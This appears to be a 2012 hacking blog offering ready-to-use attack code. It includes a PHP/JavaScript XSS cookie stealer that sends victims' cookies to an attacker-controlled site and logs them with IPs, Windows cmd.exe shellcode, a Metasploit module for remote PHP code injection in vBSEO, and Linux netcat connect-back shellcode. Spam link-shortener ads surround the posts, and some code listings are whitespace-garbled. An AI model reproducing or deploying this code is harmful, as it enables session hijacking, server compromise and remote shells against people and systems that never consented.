BLACK BURN HACKER. Powered by Blogger.

Real Money Instantly

 

Tuesday, January 31, 2012

Advanced cookie stealer with pagination

0 comments
I've worked lately on an cookie logger that makes it much easier browsing cookies and the way it logs it :) 

Image :
[Image: picrh.png]

Installation steps :

1 ) Logger
( logger.php )

PHP Code:
<?php
$cookie 
$HTTP_GET_VARS["cookie"];$date date ("j F Y h:i:s A");$ip $_SERVER['REMOTE_ADDR'];$agent $_SERVER['HTTP_USER_AGENT'];$referer $_SERVER['HTTP_REFERER'];$file fopen('logs.html''a');fwrite($file"<tr><td>\n <font color='#990000' ><b>\n Cookies : </b></font>$cookie <br>\n<font color='#990000' ><b> Date : </b></font> $date <br>\n <font color='#990000' ><b> IP : </b></font> $ip <br>\n<font color='#990000' ><b>\n Referer : </b></font>$referer <br>\n<font color='#990000' ><b> Agent : </b></font> $agent <br>\n<hr><hr><br>\n</td></tr>\n");fclose($file);header'Location: http://www.redirectURL.com' ) ;?>

2 ) JS logger 
( logger.js )
This to insert it in your XSS directly through
Quote:<script src=http://www.yourwebsite.com/logger.js>

PHP Code:
location.href 'http://youwebsite.com/logger.php?cookie='+encodeURIComponent(document.cookie); 

3 ) Cookie Logs page

[*]Make a blank logs.html page

[*] ( logs.php )

PHP Code:
<!-- If you wanna highlight a specific words -->

<
script type="text/javascript" src="highlight.js"></script><body onload="highlightSearchTerms('Word1');highlightSearchTerms('Word2');highlightSearchTerms​('Word3')">

<head>
  <style type="text/css">

            body
            {
 overflow:visible;
            }
    .pg-normal {
    color: black;
    font-weight: normal;
    text-decoration: none;
    cursor: pointer;
    }
    .pg-selected {
    color: black;
    font-weight: bold;
    text-decoration: underline;
    cursor: pointer;
    }
  </style>

  <script type="text/javascript" src="page.js"></script>
    </head>
<body>
  <center><div id="pageNavPosition"></div></center><br><hr>
  <form action="" method="get" enctype="application/x-www-form-urlencoded">
  <table  id="results">
    <tr>
    <th></th>
    <th></th>
    </tr>

<?php include 'logs.html'?>
 </table>
    </form>

    <script type="text/javascript"><!--
  var pager = new Pager('results', 10);
  pager.init();
  pager.showPageNav('pager', 'pageNavPosition');
  pager.showPage(1);
    //--></script>

    </body>
</html> 

[*]page.js [for pagination ]

PHP Code:
function Pager(tableNameitemsPerPage) {
    
this.tableName tableName;
    
this.itemsPerPage itemsPerPage;
    
this.currentPage 1;
    
this.pages 0;
    
this.inited false;

    
this.showRecords = function(fromto) {
  var 
rows document.getElementById(tableName).rows;
  
// i starts from 1 to skip table header row
  
for (var 1rows.lengthi++) {
    if (
from || to)
    
rows[i].style.display 'none';
    else
    
rows[i].style.display '';
  }
    }

    
this.showPage = function(pageNumber) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }

  var 
oldPageAnchor document.getElementById('pg'+this.currentPage);
  
oldPageAnchor.className 'pg-normal';

  
this.currentPage pageNumber;
  var 
newPageAnchor document.getElementById('pg'+this.currentPage);
  
newPageAnchor.className 'pg-selected';

  var 
from = (pageNumber 1) * itemsPerPage 1;
  var 
to from itemsPerPage 1;
  
this.showRecords(fromto);
    }

    
this.prev = function() {
  if (
this.currentPage 1)
    
this.showPage(this.currentPage 1);
    }

    
this.next = function() {
  if (
this.currentPage this.pages) {
    
this.showPage(this.currentPage 1);
  }
    }  

    
this.init = function() {
  var 
rows document.getElementById(tableName).rows;
  var 
records = (rows.length 1);
  
this.pages Math.ceil(records itemsPerPage);
  
this.inited true;
    }

    
this.showPageNav = function(pagerNamepositionId) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }
  var 
element document.getElementById(positionId);

  var 
pagerHtml '<span onclick="' pagerName '.prev();" class="pg-normal"> &#171 Prev </span> | ';
  for (var 
page 1page <= this.pagespage++)
    
pagerHtml += '<span id="pg' page '" class="pg-normal" onclick="' pagerName '.showPage(' page ');">' page '</span> | ';
  
pagerHtml += '<span onclick="'+pagerName+'.next();" class="pg-normal"> Next »</span>';  

  
element.innerHTML pagerHtml;
    }

[*]highlight.js [ optional ]
This to highlight specific words as its written at the top of logs.php page

PHP Code:
function doHighlight(bodyTextsearchTermhighlightStartTaghighlightEndTag)
{
  
// the highlightStartTag and highlightEndTag parameters are optional
  
if ((!highlightStartTag) || (!highlightEndTag)) {
    
highlightStartTag "<font style='color:blue; background-color:yellow;'><b>";
    
highlightEndTag "</font></b>";
  }
  var 
newText "";
  var 
= -1;
  var 
lcSearchTerm searchTerm.toLowerCase();
  var 
lcBodyText bodyText.toLowerCase();

  while (
bodyText.length 0) {
    
lcBodyText.indexOf(lcSearchTermi+1);
    if (
0) {
  
newText += bodyText;
  
bodyText "";
    } else {
  
// skip anything inside an HTML tag
  
if (bodyText.lastIndexOf(">"i) >= bodyText.lastIndexOf("<"i)) {
  
// skip anything inside a <script> block
  
if (lcBodyText.lastIndexOf("/script>"i) >= lcBodyText.lastIndexOf("<script"i)) {
    
newText += bodyText.substring(0i) + highlightStartTag bodyText.substr(isearchTerm.length) + highlightEndTag;
    
bodyText bodyText.substr(searchTerm.length);
    
lcBodyText bodyText.toLowerCase();
    
= -1;
  }
  }
    }
  }

  return 
newText;
}

function 
highlightSearchTerms(searchTexttreatAsPhrasewarnOnFailurehighlightStartTaghighlightEndTag)
{
  if (
treatAsPhrase) {
    
searchArray = [searchText];
  } else {
    
searchArray searchText.split(" ");
  }

  if (!
document.body || typeof(document.body.innerHTML) == "undefined") {
    if (
warnOnFailure) {
  
alert("Sorry, for some reason the text of this page is unavailable. Searching will not work.");
    }
    return 
false;
  }

  var 
bodyText document.body.innerHTML;
  for (var 
0searchArray.lengthi++) {
    
bodyText doHighlight(bodyTextsearchArray[i], highlightStartTaghighlightEndTag);
  }

  
document.body.innerHTML bodyText;
  return 
true;
}
/*
 * This displays a dialog box that allows a user to enter their own
 * search terms to highlight on the page, and then passes the search
 * text or phrase to the highlightSearchTerms function. All parameters
 * are optional.
 */
function searchPrompt(defaultTexttreatAsPhrasetextColorbgColor)
{
  
// This function prompts the user for any words that should
  // be highlighted on this web page
  
if (!defaultText) {
    
defaultText "";
  }

  
// we can optionally use our own highlight tag values
  
if ((!textColor) || (!bgColor)) {
    
highlightStartTag "";
    
highlightEndTag "";
  } else {
    
highlightStartTag "<font style='color:" textColor "; background-color:" bgColor ";'>";
    
highlightEndTag "</font>";
  }

  if (
treatAsPhrase) {
    
promptText "Please enter the phrase you'd like to search for:";
  } else {
    
promptText "Please enter the words you'd like to search for, separated by spaces:";
  }

  
searchText prompt(promptTextdefaultText);

  if (!
searchText)  {
    
alert("No search terms were entered. Exiting function.");
    return 
false;
  }

  return 
highlightSearchTerms(searchTexttreatAsPhrasetruehighlightStartTaghighlightEndTag);
}
/*
 * This function takes a referer/referrer string and parses it
 * to determine if it contains any search terms. If it does, the
 * search terms are passed to the highlightSearchTerms function
 * so they can be highlighted on the current page.
 */
function highlightGoogleSearchTerms(referrer)
{
  
// This function has only been very lightly tested against
  // typical Google search URLs. If you wanted the Google search
  // terms to be automatically highlighted on a page, you could
  // call the function in the onload event of your <body> tag,
  // like this:
  //   <body onload='highlightGoogleSearchTerms(document.referrer);'>

  //var referrer = document.referrer;
  
if (!referrer) {
    return 
false;
  }

  var 
queryPrefix "q=";
  var 
startPos referrer.toLowerCase().indexOf(queryPrefix);
  if ((
startPos 0) || (startPos queryPrefix.length == referrer.length)) {
    return 
false;
  }

  var 
endPos referrer.indexOf("&"startPos);
  if (
endPos 0) {
    
endPos referrer.length;
  }

  var 
queryString referrer.substring(startPos queryPrefix.lengthendPos);
  
// fix the space characters
  
queryString queryString.replace(/%20/gi" ");
  
queryString queryString.replace(/\+/gi" ");
  
// remove the quotes (if you're really creative, you could search for the
  // terms within the quotes as phrases, and everything else as single terms)
  
queryString queryString.replace(/%22/gi"");
  
queryString queryString.replace(/\"/gi, "");

  return highlightSearchTerms(queryString, false);
}

/*
 * This function is just an easy way to test the highlightGoogleSearchTerms
 * function.
 */
function testHighlightGoogleSearchTerms()
{
  var referrerString = "
http://www.google.com/search?q=javascript%20highlight&start=0";
  
referrerString prompt("Test the following referrer string:"referrerString);
  return 
highlightGoogleSearchTerms(referrerString);

©2011, copyright BLACK BURN

Monday, January 30, 2012

windows/XP sp3 (ENG) cmd.exe Sellcode

0 comments

Code:
# Title : windows/XP sp3 (ENG) cmd.exe Sellcode
# Author :TrOoN
# E-mail : SOUrRce-x@live.fr  | www.facebook.com/fysl.fyslm
# Home : city 617 logts  : Draria . algeria
# Web Site : www.1337day.com
# platform : winDows xp SP3      |  tESTED IN WINDWOS XP SP 3 work
# Type : SHELL CODe WINDWOS
# WARNING : i teste in windows Xp sp3 (ENG) not windwos 7 or windwos sp2 :( thank you ....
###


00402000   8BEC             MOV EBP,ESP
00402002   33FF             XOR EDI,EDI
00402004   57               PUSH EDI
00402005   C645 FC 63       MOV BYTE PTR SS:[EBP-4],63
00402009   C645 FD 6D       MOV BYTE PTR SS:[EBP-3],6D
0040200D   C645 FE 64       MOV BYTE PTR SS:[EBP-2],64
00402011   C645 F8 01       MOV BYTE PTR SS:[EBP-8],1
00402015   8D45 FC          LEA EAX,DWORD PTR SS:[EBP-3]
00402018   50               PUSH EAX
00402019   B8 C793BF77      MOV EAX,msvcrt.system
0040201E   FFD0             CALL EAX
*/

#include "stdio.h"
unsigned char shellcode[] =
"\x8B\xEC\x33\xFF\x57"
"\xC6\x45\xFC\x63\xC6\x45"
"\xFD\x6D\xC6\x45\xFE\x64"
"\xC4\x45\xF8\x01\x8D"
"\x45\xFC\x50\xB8\xC7\x93"
"\xBF\x77\xFF\xD0";
int main ()
{
int *ret;
ret=(int *)&ret+3;
printf("Shellcode print is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

©2011, copyright BLACK BURN

vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection

0 comments

Code:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::Remote::HttpClient
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
            'Description'    => %q{
                    This module exploits a vulnerability in the 'proc_deutf()' function
                defined in /includes/functions_vbseocp_abstract.php. User input passed through
                'char_repl' POST parameter isn't properly sanitized before being used in a call
                to preg_replace() function which uses the 'e' modifier. This can be exploited to
                inject and execute arbitrary code leveraging the PHP's complex curly syntax.
            },
            'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    ['BID', '51647'],
                    ['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 8190,
                    'Keys'        => ['php'],
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Jan 23 2012',
            'DefaultTarget'  => 0))
            register_options(
                [
                    OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
                ], self.class)
    end
    def check
        flag = rand_text_alpha(rand(10)+10)
        data = "char_repl='{${print(#{flag})}}'=>"
        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        uri << 'vbseocp.php'
        response = send_request_cgi({
            'method' => "POST",
            'uri' => uri,
            'data' => "#{data}"
        })
        if response.code == 200 and response.body =~ /#{flag}/
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end
    def exploit
        if datastore['CMD']
            p = "passthru(\"%s\");" % datastore['CMD']
            p = Rex::Text.encode_base64(p)
        else
            p = Rex::Text.encode_base64(payload.encoded)
        end
        data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        uri << 'vbseocp.php'
        response = send_request_cgi({
            'method' => 'POST',
            'uri' => uri,
            'data' => data,
            'headers' => { 'Code' => p }
        })
        print_status("%s" % response.body) if datastore['CMD']
    end
end



©2011, copyright BLACK BURN

Linux/x86 - netcat : connect back port 8081 - 76 bytes

0 comments

Code:
# Title : Linux/x86 - netcat : connect back port 8081 - 76 bytes
# Author :TrOoN
# E-mail : SOUrRce-x@live.fr  | www.facebook.com/fysl.fyslm
# Home : city 617 logts  : Draria . algeria
# Web Site : www.1337day.com
# platform :Linux/x86      | backBox    | uBuntU Fr
# Type : local exploit /SHELL CODE
###



/*
08048060 <_start>:
 8048060:       eb 2a                   jmp    804808c <GotoCall>
 
08048062 <shellcode>:
 8048062:       5e                      pop    %esi
 8048063:       31 c0                   xor    %eax,%eax
 8048065:       88 46 07                mov    %al,0x7(%esi)
 8048068:       88 46 15                mov    %al,0x15(%esi)
 804806b:       88 46 1a                mov    %al,0x1a(%esi)
 804806e:       89 76 1b                mov    %esi,0x1b(%esi)
 8048071:       8d 5e 08                lea    0x8(%esi),%ebx
 8048074:       89 5e 1f                mov    %ebx,0x1f(%esi)
 8048077:       8d 5e 16                lea    0x16(%esi),%ebx
 804807a:       89 5e 23                mov    %ebx,0x23(%esi)
 804807d:       89 46 27                mov    %eax,0x27(%esi)
 8048080:       b0 0b                   mov    $0xb,%al
 8048082:       89 f3                   mov    %esi,%ebx
 8048084:       8d 4e 1b                lea    0x1b(%esi),%ecx
 8048087:       8d 56 27                lea    0x27(%esi),%edx
 804808a:       cd 80                   int    $0x80
 
0804808c <GotoCall>:
 804808c:       e8 d1 ff ff ff          call   8048062 <shellcode>
 8048091:       2f                      das   
 8048092:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8048095:       2f                      das   
 8048096:       6e                      outsb  %ds:(%esi),(%dx)
 8048097:       63 23                   arpl   %sp,(%ebx)
 8048099:       31 39                   xor    %edi,(%ecx)
 804809b:       32 2e                   xor    (%esi),%ch
 804809d:       31 36                   xor    %esi,(%esi)
 804809f:       38 2e                   cmp    %ch,(%esi)
 80480a1:       31 2e                   xor    %ebp,(%esi)
 80480a3:       31 30                   xor    %esi,(%eax)
 80480a5:       31 23                   xor    %esp,(%ebx)
 80480a7:       38 30                   cmp    %dh,(%eax)
 80480a9:       38 30                   cmp    %dh,(%eax)
 80480ab:       23 41 41                and    0x41(%ecx),%eax
 80480ae:       41                      inc    %ecx
 80480af:       41                      inc    %ecx
 80480b0:       42                      inc    %edx
 80480b1:       42                      inc    %edx
 80480b2:       42                      inc    %edx
 80480b3:       42                      inc    %edx
 80480b4:       43                      inc    %ebx
 80480b5:       43                      inc    %ebx
 80480b6:       43                      inc    %ebx
 80480b7:       43                      inc    %ebx
 80480b8:       44                      inc    %esp
 80480b9:       44                      inc    %esp
 80480ba:       44                      inc    %esp
 80480bb:       44                      inc    %esp
*/
 
// /bin/nc 192.168.1.100 8081
char shellcode[] =
"\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x15\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89"
"\x5e\x1f\x8d\x5e\x16\x89\x5e\x23\x89\x46\x27\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x27"
"\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x31\x39\x32\x2e\x31\x36"
"\x38\x2e\x31\x2e\x31\x30\x31\x23\x38\x30\x38\x30\x23";
 
int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}




©2011, copyright BLACK BURN

Sunday, January 29, 2012

darkc0de.com [archive]

0 comments


Categories:
  • bruteforce
  • c0de
  • cheatsheets
  • encryption
  • exploits
  • ircbots
  • misc
  • others
  • scanners
  • tutorials

Download:
http://adfoc.us/513826751453

Online version

http://adfoc.us/513826751568
©2011, copyright BLACK BURN

Security Video [site's]

0 comments
 

7 Years Earning Experience

The Earning Source You Can Trust